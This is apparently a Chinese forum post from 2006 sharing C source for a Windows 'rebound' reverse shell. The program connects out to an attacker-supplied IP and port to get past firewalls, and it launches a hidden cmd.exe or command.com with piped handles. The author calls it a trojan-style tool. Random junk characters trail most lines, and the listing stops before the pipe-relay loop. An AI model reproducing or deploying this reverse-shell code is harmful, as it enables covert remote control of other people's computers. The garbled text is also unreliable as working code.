这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'tq\<y
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/* ============================== ThT.iD[
Rebound port in Windows NT _BeX7
By wind,2006/7 gn;nS{A
===============================*/ f"}0j|Gg
#include ;I0yQlx|U
#include a8lo!e9q
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#pragma comment(lib,"wsock32.lib") ul5::
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void OutputShell(); {4V:[*3
SOCKET sClient; &L[8Mju6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qZyt>SAx
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void main(int argc,char **argv)
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{ f6/\JVi)-
WSADATA stWsaData; s525`Q;
int nRet; ;1(qGy4
SOCKADDR_IN stSaiClient,stSaiServer; D%5 {A=
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if(argc != 3) W+-f `
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printf("Useage:\n\rRebound DestIP DestPort\n"); Q>+_W2~]
return; hH|XtQ.n^
} s]V{}bY`
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WSAStartup(MAKEWORD(2,2),&stWsaData); CO6XIgTe
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @N:3`[oB
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); G41$oalQ1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G1n>@Y'j''
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) })yb
{ .bY1N5=sz
printf("Bind Socket Failed!\n"); +MZ2e^\F
return; `zvT5=*-#
} u.xA}yVS
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stSaiServer.sin_family = AF_INET; O.m.]%URW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k%bTs+]*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (HP={MrV
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5"Xo R)
{ 9BgQoK@
printf("Connect Error!"); rqG6Ll`=+
return; 7zOvoQ}
} dsft=t8s
OutputShell();
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} B1AF4}~5
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void OutputShell() qgY(S}V
{ _|2";.1E
char szBuff[1024]; lf7H8k, -
SECURITY_ATTRIBUTES stSecurityAttributes; rO2PbF3
OSVERSIONINFO stOsversionInfo; fe]T9EDA
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^dp[Z,[1z
STARTUPINFO stStartupInfo; Ni;{\"Gt
char *szShell; nqw*oLFQ
PROCESS_INFORMATION stProcessInformation; Zq6ebj
unsigned long lBytesRead; @rDv
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sjgxx7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y_ u7
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stSecurityAttributes.lpSecurityDescriptor = 0; ?\ i,JJO
stSecurityAttributes.bInheritHandle = TRUE; 39^uLob
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iOA3x 8J
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v+,
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {~
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OTr!?xi
stStartupInfo.wShowWindow = SW_HIDE; 085 ^!AZ
stStartupInfo.hStdInput = hReadPipe; m~\m"zJ4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Uu<sntyv
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GetVersionEx(&stOsversionInfo); Szob_IEq,
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switch(stOsversionInfo.dwPlatformId) Tr+Y@]"
{ os0"haOI9h
case 1: 'G
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szShell = "command.com"; k1
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break; [_z2z6
default: S&g-
szShell = "cmd.exe"; <
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break; 3jQ$72_
} @C6DOB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -
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